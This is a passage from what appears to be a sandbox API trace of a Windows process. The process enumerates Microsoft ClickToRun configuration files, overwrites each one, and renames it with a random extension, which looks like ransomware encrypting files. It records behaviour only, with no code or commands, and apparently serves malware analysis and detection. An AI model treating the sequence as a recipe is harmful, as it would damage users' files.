ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2661ba40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.732] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2661ba40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2661ba40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2623d680, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="634EF343-54B0-4B56-9FD9-A785E3F22968", cAlternateFileName="634EF3~1")) returned 1 [0136.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9e01d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f9e01d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2f9e01d0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0136.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2661ba40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2661ba40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2661ba40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml", cAlternateFileName="DEPLOY~3.XML")) returned 1 [0136.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7d11070, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7d11070, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0xa7d11070, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml", cAlternateFileName="DEPLOY~2.XML")) returned 1 [0136.733] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E728F99D-05D1-4020-9ECE-6DE2EC414166", cAlternateFileName="E728F9~1")) returned 1 [0136.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0136.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f05a9d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2f05a9d0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0136.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x35b95700, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x35b95700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0136.734] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x35b95700, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x35b95700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0136.734] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.735] SetErrorMode (uMode=0x0) returned 0x1 [0136.735] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun", lpFilePart=0x0) returned 0x23 [0136.735] SetErrorMode (uMode=0x1) returned 0x0 [0136.735] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2661ba40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2661ba40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0136.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2661ba40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2661ba40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2623d680, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="634EF343-54B0-4B56-9FD9-A785E3F22968", cAlternateFileName="634EF3~1")) returned 1 [0136.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9e01d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f9e01d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2f9e01d0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.0.xml", cAlternateFileName="DEPLOY~1.XML")) returned 1 [0136.736] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2661ba40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2661ba40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x2661ba40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x7b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.1.xml", cAlternateFileName="DEPLOY~3.XML")) returned 1 [0136.737] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7d11070, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7d11070, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0xa7d11070, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeploymentConfig.2.xml", cAlternateFileName="DEPLOY~2.XML")) returned 1 [0136.737] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x1ab6eed0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2d7ce6f0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2d7ce6f0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E728F99D-05D1-4020-9ECE-6DE2EC414166", cAlternateFileName="E728F9~1")) returned 1 [0136.737] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineData", cAlternateFileName="MACHIN~1")) returned 1 [0136.737] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f05a9d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x2f05a9d0, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UserData", cAlternateFileName="")) returned 1 [0136.737] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x35b95700, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x35b95700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1 [0136.738] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80e27350, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x35b95700, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x35b95700, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9AC08E99-230B-47e8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 0 [0136.738] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0136.738] SetErrorMode (uMode=0x0) returned 0x1 [0136.738] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml", lpFilePart=0x0) returned 0x3a [0136.739] SetErrorMode (uMode=0x1) returned 0x0 [0136.739] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.740] GetFileType (hFile=0x1d0) returned 0x1 [0136.740] SetErrorMode (uMode=0x0) returned 0x1 [0136.740] GetFileType (hFile=0x1d0) returned 0x1 [0136.740] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x7b6 [0136.740] ReadFile (in: hFile=0x1d0, lpBuffer=0x283cd48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x283cd48*, lpNumberOfBytesRead=0x21d4d8*=0x7b6, lpOverlapped=0x0) returned 1 [0136.835] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml", lpFilePart=0x0) returned 0x3a [0136.836] SetErrorMode (uMode=0x1) returned 0x0 [0136.836] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.837] GetFileType (hFile=0x1d0) returned 0x1 [0136.838] SetErrorMode (uMode=0x0) returned 0x1 [0136.838] GetFileType (hFile=0x1d0) returned 0x1 [0136.838] WriteFile (in: hFile=0x1d0, lpBuffer=0x2920598*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2920598*, lpNumberOfBytesWritten=0x21d478*=0x7c0, lpOverlapped=0x0) returned 1 [0136.839] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml", lpFilePart=0x0) returned 0x3a [0136.840] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.1nwo7w", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.1nwo7w", lpFilePart=0x0) returned 0x41 [0136.840] SetErrorMode (uMode=0x1) returned 0x0 [0136.840] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2f9e01d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x2f9e01d0, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4e1fd840, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7c0)) returned 1 [0136.840] SetErrorMode (uMode=0x0) returned 0x1 [0136.840] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.0.xml.1nwo7w" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.0.xml.1nwo7w")) returned 1 [0136.844] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml", lpFilePart=0x0) returned 0x3a [0136.844] SetErrorMode (uMode=0x1) returned 0x0 [0136.844] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.845] GetFileType (hFile=0x1d0) returned 0x1 [0136.845] SetErrorMode (uMode=0x0) returned 0x1 [0136.845] GetFileType (hFile=0x1d0) returned 0x1 [0136.845] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x7b4 [0136.845] ReadFile (in: hFile=0x1d0, lpBuffer=0x2922950, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2922950*, lpNumberOfBytesRead=0x21d4d8*=0x7b4, lpOverlapped=0x0) returned 1 [0136.864] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml", lpFilePart=0x0) returned 0x3a [0136.864] SetErrorMode (uMode=0x1) returned 0x0 [0136.864] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.865] GetFileType (hFile=0x1d0) returned 0x1 [0136.865] SetErrorMode (uMode=0x0) returned 0x1 [0136.865] GetFileType (hFile=0x1d0) returned 0x1 [0136.865] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a05e88*, nNumberOfBytesToWrite=0x7c0, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x2a05e88*, lpNumberOfBytesWritten=0x21d478*=0x7c0, lpOverlapped=0x0) returned 1 [0136.867] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml", lpFilePart=0x0) returned 0x3a [0136.867] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.q20imu", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.q20imu", lpFilePart=0x0) returned 0x41 [0136.867] SetErrorMode (uMode=0x1) returned 0x0 [0136.867] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2661ba40, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2661ba40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4e249b00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x7c0)) returned 1 [0136.867] SetErrorMode (uMode=0x0) returned 0x1 [0136.867] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.1.xml.q20imu" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.1.xml.q20imu")) returned 1 [0136.869] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml", lpFilePart=0x0) returned 0x3a [0136.870] SetErrorMode (uMode=0x1) returned 0x0 [0136.870] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.873] GetFileType (hFile=0x1d0) returned 0x1 [0136.873] SetErrorMode (uMode=0x0) returned 0x1 [0136.873] GetFileType (hFile=0x1d0) returned 0x1 [0136.873] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d5f8 | out: lpFileSizeHigh=0x21d5f8*=0x0) returned 0x566 [0136.873] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a07ff0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d4d8, lpOverlapped=0x0 | out: lpBuffer=0x2a07ff0*, lpNumberOfBytesRead=0x21d4d8*=0x566, lpOverlapped=0x0) returned 1 [0136.977] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml", nBufferLength=0x105, lpBuffer=0x21cfa0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml", lpFilePart=0x0) returned 0x3a [0136.977] SetErrorMode (uMode=0x1) returned 0x0 [0136.977] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0136.979] GetFileType (hFile=0x1d0) returned 0x1 [0136.979] SetErrorMode (uMode=0x0) returned 0x1 [0136.979] GetFileType (hFile=0x1d0) returned 0x1 [0136.979] WriteFile (in: hFile=0x1d0, lpBuffer=0x28edae0*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x21d478, lpOverlapped=0x0 | out: lpBuffer=0x28edae0*, lpNumberOfBytesWritten=0x21d478*=0x570, lpOverlapped=0x0) returned 1 [0136.981] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml", lpFilePart=0x0) returned 0x3a [0136.981] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.o1gru5", nBufferLength=0x105, lpBuffer=0x21d230, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.o1gru5", lpFilePart=0x0) returned 0x41 [0136.981] SetErrorMode (uMode=0x1) returned 0x0 [0136.981] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml"), fInfoLevelId=0x0, lpFileInformation=0x21d480 | out: lpFileInformation=0x21d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa7d11070, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xa7d11070, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4e3544a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x570)) returned 1 [0136.982] SetErrorMode (uMode=0x0) returned 0x1 [0136.982] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\DeploymentConfig.2.xml.o1gru5" (normalized: "c:\\programdata\\microsoft\\clicktorun\\deploymentconfig.2.xml.o1gru5")) returned 1 [0136.984] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968", lpFilePart=0x0) returned 0x48 [0136.984] SetErrorMode (uMode=0x1) returned 0x0 [0136.984] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\634EF343-54B0-4B56-9FD9-A785E3F22968\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\634ef343-54b0-4b56-9fd9-a785e3f22968\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2617efa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x2623d680, 